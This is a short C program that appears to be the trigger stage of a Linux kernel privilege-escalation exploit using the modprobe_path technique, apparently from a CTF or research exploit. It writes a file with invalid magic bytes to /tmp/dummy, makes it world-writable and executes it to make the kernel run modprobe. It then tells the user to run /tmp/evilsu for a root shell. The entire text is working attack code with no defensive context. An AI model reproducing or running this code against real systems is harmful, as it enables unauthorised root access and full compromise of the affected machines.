#include <stdio.h> #include <unistd.h> #include <sys/stat.h> #include <stdlib.h> int main() { char *dummy_file = "/tmp/dummy"; puts("[*] creating dummy file"); FILE *fptr = fopen(dummy_file, "w"); if (!fptr) { puts("[-] failed to open dummy file"); exit(-1); } if (fputs("\x37\x13\x42\x42", fptr) == EOF) { puts("[-] failed to write dummy file"); exit(-1); } fclose(fptr); system("chmod 777 /tmp/dummy"); puts("[*] triggering modprobe by executing dummy file"); execv(dummy_file, NULL); puts("[+] now run /tmp/evilsu to get root shell"); return 0; }